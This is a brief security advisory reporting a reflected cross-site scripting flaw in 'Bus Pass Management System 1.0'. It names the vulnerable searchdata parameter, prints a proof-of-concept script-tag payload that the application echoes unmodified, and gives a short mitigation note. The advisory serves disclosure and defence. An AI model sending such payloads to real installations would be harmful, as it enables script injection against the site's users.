Bus Pass Management System 1.0 – Cross-Site Scripting (XSS)

The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7<script>alert(1)</script>yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Mitigation:

To mitigate this vulnerability, input validation and output encoding should be implemented to prevent the execution of arbitrary scripts.
